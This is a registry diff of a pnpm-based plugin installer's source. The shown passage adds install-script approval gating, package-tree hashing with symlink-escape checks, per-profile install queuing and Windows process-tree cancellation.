@1e0zj/dsh-plugin-mall 0.1.17 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/src/installer.js CHANGED
@@ -6,13 +6,17 @@
6
6
  // command does (see @deepseek-ai/dsh/lib/plugin-*.js), reusing the public
7
7
  // @deepseek-ai/dsh-app-boot APIs for profile resolution and initialization.
8
8
 
9
- import { spawn } from "node:child_process";
10
- import { existsSync, readFileSync, writeFileSync, rmSync } from "node:fs";
11
- import { join } from "node:path";
9
+ import { spawn, spawnSync } from "node:child_process";
10
+ import { existsSync, mkdirSync, mkdtempSync, readFileSync, writeFileSync, rmSync, readdirSync, statSync, lstatSync, realpathSync, readlinkSync } from "node:fs";
11
+ import { basename, dirname, join, relative, resolve, isAbsolute, sep } from "node:path";
12
12
  import { createRequire } from "node:module";
13
- import { load } from "js-yaml";
13
+ import { EventEmitter } from "node:events";
14
+ import { tmpdir } from "node:os";
15
+ import { createHash } from "node:crypto";
16
+ import { dump, load } from "js-yaml";
14
17
  import { DEFAULT_PROFILE_BUNDLES, PROFILE_TEMPLATES, initProfile, resolveProfileDir } from "@deepseek-ai/dsh-app-boot";
15
18
  import { describeBuildScripts, npmNameOf } from "./github.js";
19
+ import { commitPendingSnapshot, createProfileSnapshot, markPendingSnapshot, pnpmGuardEnv, rollbackPendingSnapshot } from "./guard.js";
16
20
 
17
21
  // ── spec normalization ──────────────────────────────────────────────────────
18
22
 
@@ -392,7 +396,20 @@ function parseIgnoredBuilds(output) {
392
396
  // dropped instead of being written to the YAML.
393
397
  const suffix = /@(?:([\w.+-]+)|https?:\/\/\S+|file:\S+|link:\S+|github:\S+)$/.exec(candidate);
394
398
  const name = suffix === null ? candidate : candidate.slice(0, suffix.index);
395
- if (NPM_NAME_RE.test(name) && !found.has(name)) found.set(name, { name, version: suffix?.[1] });
399
+ // Keep pnpm's exact selector (for example
400
+ // `fixture-native-pkg@file:../pkg`). `allowBuilds` matches that selector,
401
+ // not always the bare package name. It is never accepted from a caller:
402
+ // it comes only from pnpm's own single-line diagnostic and is rendered
403
+ // back through js-yaml, after rejecting control characters.
404
+ const selector = candidate;
405
+ if (
406
+ NPM_NAME_RE.test(name)
407
+ && selector.length <= 512
408
+ && !/[\u0000-\u001f\u007f]/.test(selector)
409
+ && !found.has(selector)
410
+ ) {
411
+ found.set(selector, { name, version: suffix?.[1], selector });
412
+ }
396
413
  }
397
414
  }
398
415
  return [...found.values()];
@@ -460,6 +477,9 @@ export function mergeAllowBuilds(content, names) {
460
477
  const base = lines.join("\n");
461
478
  next = `${base.endsWith("\n") ? base : `${base}\n`}\nallowBuilds:\n${additions.map(render).join("\n")}\n`;
462
479
  } else {
480
+ if (/^allowBuilds\s*:\s*(\{\}|\[\])\s*$/.test(lines[keyIndex])) {
481
+ lines[keyIndex] = "allowBuilds:";
482
+ }
463
483
  // 块内 = 缩进行;空行不终止块;顶格行是下一个 key。
464
484
  let insertIndex = keyIndex + 1;
465
485
  for (let index = keyIndex + 1; index < lines.length; index++) {
@@ -473,6 +493,409 @@ export function mergeAllowBuilds(content, names) {
473
493
  return next;
474
494
  }
475
495
 
496
+ /**
497
+ * Neutralize allowBuilds in pnpm-workspace.yaml so that all lifecycle scripts
498
+ * are strictly blocked by pnpm on the initial install.
499
+ * @param content - current pnpm-workspace.yaml contents.
500
+ * @returns the neutralized workspace yaml.
501
+ */
502
+ export function neutralizeWorkspaceContent(content) {
503
+ const source = typeof content === "string" ? content : DEFAULT_WORKSPACE_YAML;
504
+ let parsed;
505
+ try {
506
+ parsed = load(source);
507
+ } catch (error) {
508
+ throw new Error(`pnpm-workspace.yaml does not parse, refusing to run an install: ${error.message}`);
509
+ }
510
+ if (parsed === null || parsed === undefined) parsed = {};
511
+ if (typeof parsed !== "object" || Array.isArray(parsed)) {
512
+ throw new Error("pnpm-workspace.yaml root must be a mapping");
513
+ }
514
+ parsed.allowBuilds = {};
515
+ parsed.onlyBuiltDependencies = [];
516
+ parsed.dangerouslyAllowAllBuilds = false;
517
+ return dump(parsed, { lineWidth: -1, noRefs: true, sortKeys: false });
518
+ }
519
+
520
+ /** Enable exactly the selectors pnpm itself reported while every broad build
521
+ * policy switch stays disabled. The caller restores these temporary bytes as
522
+ * soon as the rebuild process closes. */
523
+ export function enableApprovedBuildSelectors(content, selectors) {
524
+ const parsed = load(neutralizeWorkspaceContent(content));
525
+ const allowBuilds = {};
526
+ for (const raw of Array.isArray(selectors) ? selectors : []) {
527
+ const selector = String(raw ?? "");
528
+ if (selector.length === 0 || selector.length > 512 || /[\u0000-\u001f\u007f]/.test(selector)) {
529
+ throw new Error(`invalid pnpm build selector ${JSON.stringify(raw)}`);
530
+ }
531
+ allowBuilds[selector] = true;
532
+ }
533
+ if (Object.keys(allowBuilds).length === 0) throw new Error("no build selectors were approved");
534
+ parsed.allowBuilds = allowBuilds;
535
+ return dump(parsed, { lineWidth: -1, noRefs: true, sortKeys: false });
536
+ }
537
+
538
+ /** Legacy package.json policy may authorize scripts before the workspace gate
539
+ * sees them. Refuse it: restoring the whole manifest after a successful add
540
+ * would also erase the newly installed dependency. */
541
+ export function assertNoManifestBuildBypass(profileDir) {
542
+ const manifest = JSON.parse(readFileSync(join(profileDir, "package.json"), "utf8"));
543
+ const pnpm = manifest?.pnpm;
544
+ if (pnpm && typeof pnpm === "object") {
545
+ if (pnpm.dangerouslyAllowAllBuilds === true) throw new Error("package.json pnpm.dangerouslyAllowAllBuilds=true would bypass install-script approval");
546
+ if (Array.isArray(pnpm.onlyBuiltDependencies) && pnpm.onlyBuiltDependencies.length > 0) throw new Error("package.json pnpm.onlyBuiltDependencies pre-authorizes install scripts");
547
+ if (pnpm.allowBuilds && typeof pnpm.allowBuilds === "object" && Object.values(pnpm.allowBuilds).some((value) => value === true)) {
548
+ throw new Error("package.json pnpm.allowBuilds pre-authorizes install scripts");
549
+ }
550
+ }
551
+ const dependenciesMeta = manifest?.dependenciesMeta;
552
+ if (dependenciesMeta && typeof dependenciesMeta === "object") {
553
+ for (const [selector, metadata] of Object.entries(dependenciesMeta)) {
554
+ if (metadata?.built === true) throw new Error(`package.json dependenciesMeta.${selector}.built=true would bypass install-script approval`);
555
+ }
556
+ }
557
+ }
558
+
559
+ /**
560
+ * Deterministically hash the normalized package tree of a materialized package.
561
+ * Computes SHA-256 over relative POSIX file paths and raw file bytes.
562
+ * Rejects symlink escapes pointing outside the package directory.
563
+ * @param pkgDir - absolute path to the materialized package directory.
564
+ * @returns SHA-256 hex string.
565
+ */
566
+ export function hashPackageTree(pkgDir) {
567
+ if (typeof pkgDir !== "string" || !existsSync(pkgDir)) {
568
+ throw new Error(`cannot hash package tree: directory ${JSON.stringify(pkgDir)} does not exist`);
569
+ }
570
+ const realRoot = realpathSync(pkgDir);
571
+ const hash = createHash("sha256");
572
+ const files = [];
573
+ const visitedDirectories = new Set();
574
+
575
+ function walk(currentDir) {
576
+ const currentReal = realpathSync(currentDir);
577
+ if (visitedDirectories.has(currentReal)) {
578
+ throw new Error(`symlink cycle detected in package tree at ${currentDir}`);
579
+ }
580
+ visitedDirectories.add(currentReal);
581
+ let entries;
582
+ try {
583
+ entries = readdirSync(currentDir, { withFileTypes: true });
584
+ } catch (err) {
585
+ throw new Error(`cannot read directory ${currentDir}: ${err.message}`);
586
+ }
587
+ entries.sort((a, b) => a.name.localeCompare(b.name));
588
+ for (const entry of entries) {
589
+ const entryName = entry.name;
590
+ // npm excludes .git metadata from packed artifacts. Package-local
591
+ // node_modules is NOT skipped: bundledDependencies are executable bytes
592
+ // belonging to the artifact and must be covered by the approval proof.
593
+ if (entryName === ".git") continue;
594
+
595
+ const fullPath = join(currentDir, entryName);
596
+ let lstat;
597
+ try {
598
+ lstat = lstatSync(fullPath);
599
+ } catch (err) {
600
+ throw new Error(`cannot stat ${fullPath}: ${err.message}`);
601
+ }
602
+
603
+ if (lstat.isSymbolicLink()) {
604
+ let targetReal;
605
+ try {
606
+ targetReal = realpathSync(fullPath);
607
+ } catch (err) {
608
+ throw new Error(`unresolvable symlink ${fullPath}: ${err.message}`);
609
+ }
610
+ const rel = relative(realRoot, targetReal);
611
+ if (rel === ".." || rel.startsWith(`..${sep}`) || isAbsolute(rel)) {
612
+ throw new Error(`symlink escape detected in package tree: ${fullPath} points outside package root to ${targetReal}`);
613
+ }
614
+ let targetStat;
615
+ try {
616
+ targetStat = statSync(targetReal);
617
+ } catch (err) {
618
+ throw new Error(`cannot stat symlink target ${targetReal}: ${err.message}`);
619
+ }
620
+ const relPath = relative(realRoot, fullPath).replace(/\\/g, "/");
621
+ const linkTarget = readlinkSync(fullPath).replace(/\\/g, "/");
622
+ hash.update(`link:${relPath}\0${linkTarget}\0${lstat.mode & 0o777}\0`);
623
+ if (targetStat.isDirectory()) {
624
+ walk(fullPath);
625
+ } else if (targetStat.isFile()) {
626
+ files.push({ relPath, fullPath: targetReal, mode: targetStat.mode & 0o777 });
627
+ }
628
+ } else if (lstat.isDirectory()) {
629
+ walk(fullPath);
630
+ } else if (lstat.isFile()) {
631
+ const relPath = relative(realRoot, fullPath).replace(/\\/g, "/");
632
+ files.push({ relPath, fullPath, mode: lstat.mode & 0o777 });
633
+ }
634
+ }
635
+ visitedDirectories.delete(currentReal);
636
+ }
637
+
638
+ walk(realRoot);
639
+ files.sort((a, b) => a.relPath.localeCompare(b.relPath));
640
+
641
+ for (const { relPath, fullPath, mode } of files) {
642
+ let content;
643
+ try {
644
+ content = readFileSync(fullPath);
645
+ } catch (err) {
646
+ throw new Error(`cannot read file ${fullPath} during package hashing: ${err.message}`);
647
+ }
648
+ hash.update(`file:${relPath}\0${mode}\0${content.length}\0`);
649
+ hash.update(content);
650
+ }
651
+
652
+ return hash.digest("hex");
653
+ }
654
+
655
+ /**
656
+ * Locate a materialized package under <profileDir>/node_modules or .pnpm virtual store.
657
+ * Strictly never falls back to ancestor node resolution.
658
+ * @param profileDir - target profile directory.
659
+ * @param pkgName - npm package name.
660
+ * @param version - optional specific version.
661
+ * @returns {{ dir: string, manifest: object }}
662
+ */
663
+ export function findMaterializedPackage(profileDir, pkgName, version) {
664
+ if (typeof pkgName !== "string" || !NPM_NAME_RE.test(pkgName)) {
665
+ throw new Error(`invalid package name ${JSON.stringify(pkgName)} for materialized resolution`);
666
+ }
667
+ const modulesRoot = resolve(profileDir, "node_modules");
668
+
669
+ // 1. Direct candidate path in profileDir/node_modules
670
+ const direct = resolve(modulesRoot, ...pkgName.split("/"));
671
+ const directManifestPath = join(direct, "package.json");
672
+ if (existsSync(directManifestPath)) {
673
+ try {
674
+ const manifest = JSON.parse(readFileSync(directManifestPath, "utf8"));
675
+ if (manifest && typeof manifest === "object" && manifest.name === pkgName) {
676
+ if (!version || manifest.version === version) {
677
+ const realDir = realpathSync(direct);
678
+ return { dir: realDir, manifest };
679
+ }
680
+ }
681
+ } catch {
682
+ /* fallback to .pnpm */
683
+ }
684
+ }
685
+
686
+ // 2. Search in node_modules/.pnpm virtual store
687
+ const pnpmDir = join(modulesRoot, ".pnpm");
688
+ const matches = [];
689
+ if (existsSync(pnpmDir)) {
690
+ try {
691
+ const entries = readdirSync(pnpmDir, { withFileTypes: true });
692
+ for (const entry of entries) {
693
+ if (!entry.isDirectory()) continue;
694
+ const candidatePath = join(pnpmDir, entry.name, "node_modules", ...pkgName.split("/"));
695
+ const mPath = join(candidatePath, "package.json");
696
+ if (existsSync(mPath)) {
697
+ try {
698
+ const manifest = JSON.parse(readFileSync(mPath, "utf8"));
699
+ if (manifest && typeof manifest === "object" && manifest.name === pkgName) {
700
+ if (!version || manifest.version === version) {
701
+ matches.push({ dir: realpathSync(candidatePath), manifest });
702
+ }
703
+ }
704
+ } catch {}
705
+ }
706
+ }
707
+ } catch {}
708
+ }
709
+
710
+ const uniqueMatches = [];
711
+ const seenPaths = new Set();
712
+ for (const match of matches) {
713
+ if (!seenPaths.has(match.dir)) {
714
+ seenPaths.add(match.dir);
715
+ uniqueMatches.push(match);
716
+ }
717
+ }
718
+
719
+ if (uniqueMatches.length === 1) {
720
+ return uniqueMatches[0];
721
+ }
722
+ if (uniqueMatches.length > 1) {
723
+ throw new Error(`ambiguous materialized package resolution for ${pkgName}${version ? `@${version}` : ""}: multiple distinct copies found in .pnpm`);
724
+ }
725
+
726
+ throw new Error(`cannot locate materialized package directory for ${pkgName}${version ? `@${version}` : ""} in ${profileDir}`);
727
+ }
728
+
729
+ /** Extract sorted lifecycle script commands (preinstall, install, postinstall) from manifest. */
730
+ export function extractLifecycleScripts(manifest) {
731
+ const scripts = {};
732
+ const raw = manifest?.scripts;
733
+ if (raw && typeof raw === "object") {
734
+ for (const key of ["preinstall", "install", "postinstall"]) {
735
+ if (typeof raw[key] === "string" && raw[key].trim().length > 0) {
736
+ scripts[key] = raw[key];
737
+ }
738
+ }
739
+ }
740
+ return scripts;
741
+ }
742
+
743
+ /** Resolve direct candidate package name from profile state, spec, or preflight. */
744
+ export function resolveCandidateName(profileDir, spec, beforeDeps = new Set(), preflight) {
745
+ if (preflight?.candidate?.name && typeof preflight.candidate.name === "string") {
746
+ return preflight.candidate.name;
747
+ }
748
+ const manifestPath = join(profileDir, "package.json");
749
+ if (existsSync(manifestPath)) {
750
+ try {
751
+ const manifest = JSON.parse(readFileSync(manifestPath, "utf8"));
752
+ const newDeps = Object.keys(manifest.dependencies ?? {}).filter((d) => !beforeDeps.has(d));
753
+ if (newDeps.length === 1) return newDeps[0];
754
+ } catch {}
755
+ }
756
+ if (typeof spec === "string") {
757
+ const raw = spec.trim();
758
+ if (/^(?:file:|link:)/i.test(raw)) {
759
+ const localDir = resolve(profileDir, raw.replace(/^(?:file:|link:)/i, "").replace(/[\\/]+$/, ""));
760
+ const localPkg = join(localDir, "package.json");
761
+ if (existsSync(localPkg)) {
762
+ try {
763
+ const m = JSON.parse(readFileSync(localPkg, "utf8"));
764
+ if (m?.name) return m.name;
765
+ } catch {}
766
+ }
767
+ }
768
+ const name = npmNameOf(raw);
769
+ if (name) return name;
770
+ }
771
+ const modulesRoot = join(profileDir, "node_modules");
772
+ if (existsSync(modulesRoot)) {
773
+ try {
774
+ const entries = readdirSync(modulesRoot, { withFileTypes: true });
775
+ for (const entry of entries) {
776
+ if (entry.name === ".pnpm" || entry.name.startsWith(".")) continue;
777
+ if (entry.name.startsWith("@")) {
778
+ const scopeEntries = readdirSync(join(modulesRoot, entry.name), { withFileTypes: true });
779
+ for (const se of scopeEntries) {
780
+ const fullName = `${entry.name}/${se.name}`;
781
+ if (!beforeDeps.has(fullName)) return fullName;
782
+ }
783
+ } else if (!beforeDeps.has(entry.name)) {
784
+ return entry.name;
785
+ }
786
+ }
787
+ } catch {}
788
+ }
789
+ return undefined;
790
+ }
791
+
792
+ /**
793
+ * Compute the canonical artifact proof from the materialized package tree.
794
+ * Includes direct candidate identity (and content hash) even when its own
795
+ * scripts are not blocked, plus every blocked package with resolved name, version,
796
+ * sorted lifecycle scripts, and content hash.
797
+ * @param profileDir - target profile directory.
798
+ * @param candidateName - candidate package name.
799
+ * @param ignoredList - array of {name, version} or string names blocked by pnpm.
800
+ * @returns canonical proof object.
801
+ */
802
+ export function computeMaterializedProof(profileDir, candidateName, ignoredList = []) {
803
+ if (!candidateName) {
804
+ throw new Error("cannot compute materialized proof: candidate package name is missing or unresolved");
805
+ }
806
+ const candidatePkg = findMaterializedPackage(profileDir, candidateName);
807
+ const candidateScripts = extractLifecycleScripts(candidatePkg.manifest);
808
+ const candidateHash = hashPackageTree(candidatePkg.dir);
809
+ const candidateProof = {
810
+ name: candidatePkg.manifest.name ?? candidateName,
811
+ version: candidatePkg.manifest.version ?? "unknown",
812
+ scripts: candidateScripts,
813
+ contentHash: candidateHash,
814
+ };
815
+
816
+ const blockedPackages = [];
817
+ const seen = new Set();
818
+ for (const entry of ignoredList) {
819
+ const pkgName = typeof entry === "string" ? entry.trim() : entry?.name?.trim();
820
+ const selector = typeof entry === "object" && typeof entry?.selector === "string" ? entry.selector : pkgName;
821
+ if (!pkgName || !selector || seen.has(selector)) continue;
822
+ seen.add(selector);
823
+ const version = typeof entry === "object" ? entry.version : undefined;
824
+ const pkg = findMaterializedPackage(profileDir, pkgName, version);
825
+ const scripts = extractLifecycleScripts(pkg.manifest);
826
+ const contentHash = hashPackageTree(pkg.dir);
827
+ blockedPackages.push({
828
+ name: pkg.manifest.name ?? pkgName,
829
+ version: pkg.manifest.version ?? "unknown",
830
+ selector,
831
+ direct: pkgName === candidateName,
832
+ scripts,
833
+ contentHash,
834
+ });
835
+ }
836
+
837
+ blockedPackages.sort((a, b) => a.name.localeCompare(b.name) || a.version.localeCompare(b.version) || a.selector.localeCompare(b.selector));
838
+
839
+ return {
840
+ candidate: candidateProof,
841
+ blockedPackages,
842
+ };
843
+ }
844
+
845
+ /** Deterministically serialize a canonical proof object into canonical JSON. */
846
+ export function serializeCanonicalProof(proof) {
847
+ if (!proof || typeof proof !== "object") return "";
848
+ const normalizeScripts = (scripts) => {
849
+ const out = {};
850
+ if (scripts && typeof scripts === "object") {
851
+ for (const key of ["preinstall", "install", "postinstall"]) {
852
+ if (typeof scripts[key] === "string") out[key] = scripts[key];
853
+ }
854
+ }
855
+ return out;
856
+ };
857
+ const normalizePkg = (pkg) => ({
858
+ name: String(pkg?.name ?? ""),
859
+ version: String(pkg?.version ?? ""),
860
+ selector: String(pkg?.selector ?? pkg?.name ?? ""),
861
+ direct: Boolean(pkg?.direct),
862
+ scripts: normalizeScripts(pkg?.scripts),
863
+ contentHash: String(pkg?.contentHash ?? ""),
864
+ });
865
+ const canonicalObj = {
866
+ candidate: {
867
+ name: String(proof.candidate?.name ?? ""),
868
+ version: String(proof.candidate?.version ?? ""),
869
+ scripts: normalizeScripts(proof.candidate?.scripts),
870
+ contentHash: String(proof.candidate?.contentHash ?? ""),
871
+ },
872
+ blockedPackages: Array.isArray(proof.blockedPackages)
873
+ ? proof.blockedPackages.map(normalizePkg).sort((a, b) => a.name.localeCompare(b.name) || a.version.localeCompare(b.version) || a.selector.localeCompare(b.selector))
874
+ : [],
875
+ };
876
+ return JSON.stringify(canonicalObj);
877
+ }
878
+
879
+ /** Merge optional registry reputation facts with authoritative bytes read from
880
+ * the materialized package. Security fields always come from the proof. */
881
+ export function disclosureFromMaterializedProof(proof, hints = []) {
882
+ const hintList = Array.isArray(hints) ? hints : [];
883
+ return (Array.isArray(proof?.blockedPackages) ? proof.blockedPackages : []).map((actual) => {
884
+ const hint = hintList.find((entry) => entry?.name === actual.name && (entry?.version === undefined || entry.version === actual.version)) ?? {};
885
+ return {
886
+ weeklyDownloads: hint.weeklyDownloads,
887
+ provenance: hint.provenance,
888
+ unpackedSize: hint.unpackedSize,
889
+ name: actual.name,
890
+ version: actual.version,
891
+ selector: actual.selector,
892
+ direct: actual.direct,
893
+ scripts: actual.scripts,
894
+ contentHash: actual.contentHash,
895
+ };
896
+ });
897
+ }
898
+
476
899
  /** Default pnpm-workspace.yaml for a profile that has none yet. */
477
900
  const DEFAULT_WORKSPACE_YAML = "packages:\n - .\n\nnodeLinker: hoisted\n";
478
901
 
@@ -521,10 +944,10 @@ export function createJobTracker() {
521
944
  }
522
945
  };
523
946
  return {
524
- start({ profile, spec, verb = "add", allowBuildScripts }) {
947
+ start({ profile, spec, verb = "add", allowBuildScripts, approvedProof, preflight, onSettled }) {
525
948
  const id = `market-${++trackerCounter}`;
526
949
  const kind = verb === "remove" ? "dsh-plugin-uninstall" : "dsh-plugin-install";
527
- const producer = verb === "remove" ? runRemove({ profile, packageName: spec }) : runInstall({ profile, spec, allowBuildScripts });
950
+ const producer = verb === "remove" ? runRemove({ profile, packageName: spec }) : runInstall({ profile, spec, allowBuildScripts, approvedProof, preflight });
528
951
  const record = {
529
952
  id,
530
953
  kind,
@@ -544,6 +967,7 @@ export function createJobTracker() {
544
967
  // 一段文本,用户看不出要批准的到底是什么。
545
968
  record.needsApproval = outcome.needsApproval;
546
969
  record.finishedAt = Date.now();
970
+ onSettled?.(outcome);
547
971
  });
548
972
  records.set(id, record);
549
973
  prune();
@@ -627,6 +1051,147 @@ async function enablePnpmViaCorepack(push) {
627
1051
  });
628
1052
  }
629
1053
 
1054
+ // ── per-profile transaction serialization ───────────────────────────────────
1055
+ //
1056
+ // Install and remove mutate the same profile files (package.json, lockfile,
1057
+ // workspace yaml, patch layer) and node_modules. Two pnpm processes running
1058
+ // concurrently in one profile interleave those writes and can corrupt both
1059
+ // transactions. Every producer — add AND remove — therefore runs through a
1060
+ // per-profile in-process queue: a job starts only after the previous one
1061
+ // reached a terminal state, and the lock is released on every outcome
1062
+ // (completed/failed/killed) and on internal errors.
1063
+
1064
+ const profileQueues = new Map(); // lockKey -> Promise<void> tail
1065
+
1066
+ /** Lock key for a profile: the resolved dir when the name is valid. */
1067
+ function profileLockKey(profile) {
1068
+ try {
1069
+ return resolveProfileDir(profile);
1070
+ } catch {
1071
+ return `invalid:${String(profile)}`;
1072
+ }
1073
+ }
1074
+
1075
+ function enqueueProfileTask(lockKey, task) {
1076
+ const key = String(lockKey);
1077
+ const tail = profileQueues.get(key) ?? Promise.resolve();
1078
+ const run = tail.then(task, task);
1079
+ // The stored tail never rejects, so one poisoned task can never stall the
1080
+ // queue; it is dropped from the map once it is the latest settled tail.
1081
+ const stored = run.then(() => undefined, () => undefined);
1082
+ profileQueues.set(key, stored);
1083
+ void stored.then(() => {
1084
+ if (profileQueues.get(key) === stored) profileQueues.delete(key);
1085
+ });
1086
+ return run;
1087
+ }
1088
+
1089
+ /**
1090
+ * Run a producer factory under the profile's queue. The returned producer
1091
+ * settles `done` with the inner producer's outcome; cancel() before the job
1092
+ * starts settles it as killed without ever spawning pnpm. `done` ALWAYS
1093
+ * resolves with an outcome object — never rejects — so callers (and the
1094
+ * queue itself) have exactly one settlement path.
1095
+ */
1096
+ function serializedProducer(lockKey, start) {
1097
+ let inner;
1098
+ let cancelRequested = false;
1099
+ const done = enqueueProfileTask(lockKey, () => {
1100
+ if (cancelRequested) {
1101
+ return { status: "killed", detail: "cancelled while queued behind another profile transaction — pnpm never ran" };
1102
+ }
1103
+ try {
1104
+ inner = start();
1105
+ } catch (error) {
1106
+ return { status: "failed", detail: error?.message ?? String(error) };
1107
+ }
1108
+ return Promise.resolve(inner.done).then(
1109
+ (outcome) => outcome,
1110
+ (error) => ({ status: "failed", detail: `internal error: ${error?.message ?? String(error)}` }),
1111
+ );
1112
+ });
1113
+ return {
1114
+ cancel: () => {
1115
+ cancelRequested = true;
1116
+ inner?.cancel();
1117
+ },
1118
+ done,
1119
+ readOutput: () => inner?.readOutput() ?? "",
1120
+ };
1121
+ }
1122
+
1123
+ // ── pnpm spawn plan (Windows cancel correctness) ────────────────────────────
1124
+ //
1125
+ // Killing a shell-wrapped process kills the WRAPPER, not pnpm: on Windows
1126
+ // `shell: true` spawns `cmd /d /s /c pnpm ...`, and proc.kill() terminates
1127
+ // cmd.exe while the real pnpm (a grandchild) keeps running — and keeps
1128
+ // mutating the profile while rollback restores it. So: spawn pnpm without a
1129
+ // shell wherever the platform allows it, and when Windows forces a wrapper
1130
+ // (a .cmd shim cannot be spawned with shell:false on modern Node), cancel
1131
+ // terminates the whole process tree and the done chain waits for the
1132
+ // wrapper's 'close' before any rollback runs.
1133
+
1134
+ /** First `binary<ext>` found on PATH, or undefined. */
1135
+ function findOnPath(binary, { platform, pathEnv, extensions }) {
1136
+ const separator = platform === "win32" ? ";" : ":";
1137
+ for (const dir of String(pathEnv ?? "").split(separator)) {
1138
+ if (dir.length === 0) continue;
1139
+ for (const ext of extensions) {
1140
+ const candidate = join(dir, `${binary}${ext}`);
1141
+ if (existsSync(candidate)) return candidate;
1142
+ }
1143
+ }
1144
+ return undefined;
1145
+ }
1146
+
1147
+ /**
1148
+ * How to spawn pnpm on this platform.
1149
+ * @returns {{ command: string, shell: boolean, treeKill: boolean }}
1150
+ * treeKill marks the shell-wrapped case: cancel must taskkill /T the tree.
1151
+ */
1152
+ function pnpmSpawnPlan({ platform = process.platform, pathEnv = process.env.PATH } = {}) {
1153
+ if (platform !== "win32") return { command: "pnpm", shell: false, treeKill: false };
1154
+ // A real .exe spawns without a shell — cancel then kills pnpm itself.
1155
+ const exe = findOnPath("pnpm", { platform, pathEnv, extensions: [".exe"] });
1156
+ if (exe !== undefined) return { command: exe, shell: false, treeKill: false };
1157
+ // Only the .cmd shim: Node refuses batch files with shell:false (EINVAL
1158
+ // since the batch-file argument-injection fix), so a cmd wrapper is
1159
+ // unavoidable — flag it so cancel kills the whole tree, not the wrapper.
1160
+ const cmd = findOnPath("pnpm", { platform, pathEnv, extensions: [".cmd"] });
1161
+ return { command: cmd ?? "pnpm", shell: true, treeKill: true };
1162
+ }
1163
+
1164
+ /**
1165
+ * Terminate a shell-wrapped process tree (Windows): taskkill /T /F kills the
1166
+ * wrapper AND its descendants, synchronously, so cancel() returns only after
1167
+ * the tree is signalled; the wrapper's 'close' then resolves the done chain
1168
+ * and rollback runs strictly after every pnpm process has exited.
1169
+ */
1170
+ function killProcessTree(proc) {
1171
+ if (process.platform !== "win32" || typeof proc?.pid !== "number") {
1172
+ try { proc?.kill(); } catch { /* already gone */ }
1173
+ return;
1174
+ }
1175
+ try {
1176
+ spawnSync("taskkill", ["/pid", String(proc.pid), "/T", "/F"], { stdio: "ignore", windowsHide: true, timeout: 10000 });
1177
+ } catch { /* taskkill missing — fall through to a plain kill */ }
1178
+ try { proc.kill(); } catch { /* already gone */ }
1179
+ }
1180
+
1181
+ /** Kill the in-flight pnpm spawn, tree-killing when it runs in a shell wrapper. */
1182
+ function cancelSpawned(current) {
1183
+ if (current === undefined || current === null) return;
1184
+ if (current.treeKill === true) killProcessTree(current.proc);
1185
+ else {
1186
+ try { current.proc.kill(); } catch { /* already exited */ }
1187
+ }
1188
+ }
1189
+
1190
+ /** Mirrors guard.js pendingPath(): <home>/guard/pending-<profile>.json. */
1191
+ function pendingMarkerPath(profileDir) {
1192
+ return join(dirname(dirname(profileDir)), "guard", `pending-${basename(profileDir)}.json`);
1193
+ }
1194
+
630
1195
  // ── the background install job ──────────────────────────────────────────────
631
1196
 
632
1197
  /**
@@ -643,9 +1208,10 @@ async function enablePnpmViaCorepack(push) {
643
1208
  function renderApprovalNeeded(spec, disclosure) {
644
1209
  const lines = [
645
1210
  `installing ${spec} requires running install-time code — approval needed.`,
646
- "No install script ran and no plugin code loaded. pnpm did leave the downloaded",
647
- "files and a dependency entry in the profile (unusable until the scripts run);",
648
- "approving continues from there, and market_uninstall removes them if you cancel.",
1211
+ "No install script ran and no plugin code loaded. The profile was restored",
1212
+ "to its pre-install state. On approval, pnpm resolves again with scripts",
1213
+ "blocked; the materialized bytes and commands must match this disclosure",
1214
+ "before the verified tree is rebuilt. Nothing is left behind if you cancel.",
649
1215
  "",
650
1216
  ];
651
1217
  for (const entry of disclosure) {
@@ -653,7 +1219,9 @@ function renderApprovalNeeded(spec, disclosure) {
653
1219
  ? "the plugin itself"
654
1220
  : "a transitive dependency — NOT the package you asked for";
655
1221
  lines.push(` ${entry.name}${entry.version ? `@${entry.version}` : ""} (${origin})`);
1222
+ if (entry.selector) lines.push(` pnpm selector: ${entry.selector}`);
656
1223
  for (const [key, command] of Object.entries(entry.scripts ?? {})) lines.push(` ${key}: ${command}`);
1224
+ if (entry.contentHash) lines.push(` artifact SHA-256: ${entry.contentHash}`);
657
1225
  const facts = [];
658
1226
  if (typeof entry.weeklyDownloads === "number") facts.push(`${entry.weeklyDownloads.toLocaleString()} weekly downloads`);
659
1227
  facts.push(entry.provenance === true ? "has provenance" : "no provenance");
@@ -666,8 +1234,73 @@ function renderApprovalNeeded(spec, disclosure) {
666
1234
  return lines.join("\n");
667
1235
  }
668
1236
 
669
- export function runInstall({ profile, spec, allowBuildScripts }) {
670
- const profileDir = ensureProfile(profile);
1237
+ /**
1238
+ * Args for the live `pnpm add`. Peer auto-install is disabled just like in the
1239
+ * disposable probe install (guard.js probeAddArgs): a marketplace install must
1240
+ * never pull the @deepseek-ai host peer stack into the profile. The spec is
1241
+ * validated by assertSafeSpec before this runs; every other argv entry is a
1242
+ * fixed string.
1243
+ *
1244
+ * strict-dep-builds forces pnpm to FAIL when it blocks a build script instead
1245
+ * of exiting 0 while printing "Ignored build scripts" — which used to bypass
1246
+ * the approval gate entirely and finalize a success with the scripts silently
1247
+ * skipped. The successful output is still inspected (see settle), so even a
1248
+ * pnpm that does not honor the flag cannot slip ignored builds past the gate.
1249
+ */
1250
+ function liveAddArgs(spec) {
1251
+ return [
1252
+ "add",
1253
+ spec,
1254
+ "--reporter=append-only",
1255
+ "--config.auto-install-peers=false",
1256
+ "--config.strict-dep-builds=true",
1257
+ "--config.dangerously-allow-all-builds=false",
1258
+ ];
1259
+ }
1260
+
1261
+ /** Rebuild only the already-materialized packages whose exact pnpm selectors
1262
+ * were approved. Unlike a second `pnpm add <spec>`, this never re-resolves a
1263
+ * mutable file/git/tag spec after the proof comparison. */
1264
+ function rebuildApprovedArgs(packageNames) {
1265
+ const names = [...new Set(packageNames)].sort();
1266
+ if (names.length === 0 || names.some((name) => !NPM_NAME_RE.test(name))) {
1267
+ throw new Error("cannot rebuild an empty or invalid approved package set");
1268
+ }
1269
+ return ["rebuild", ...names, "--reporter=append-only"];
1270
+ }
1271
+
1272
+ /**
1273
+ * Env for the live `pnpm add`. pnpmGuardEnv disables peer auto-install; the
1274
+ * strict-dep-builds pair is the env form of the --config flag above and also
1275
+ * reaches any pnpm the install itself spawns (git-hosted deps, nested runs).
1276
+ */
1277
+ function liveAddEnv(base = process.env) {
1278
+ return {
1279
+ ...pnpmGuardEnv(base),
1280
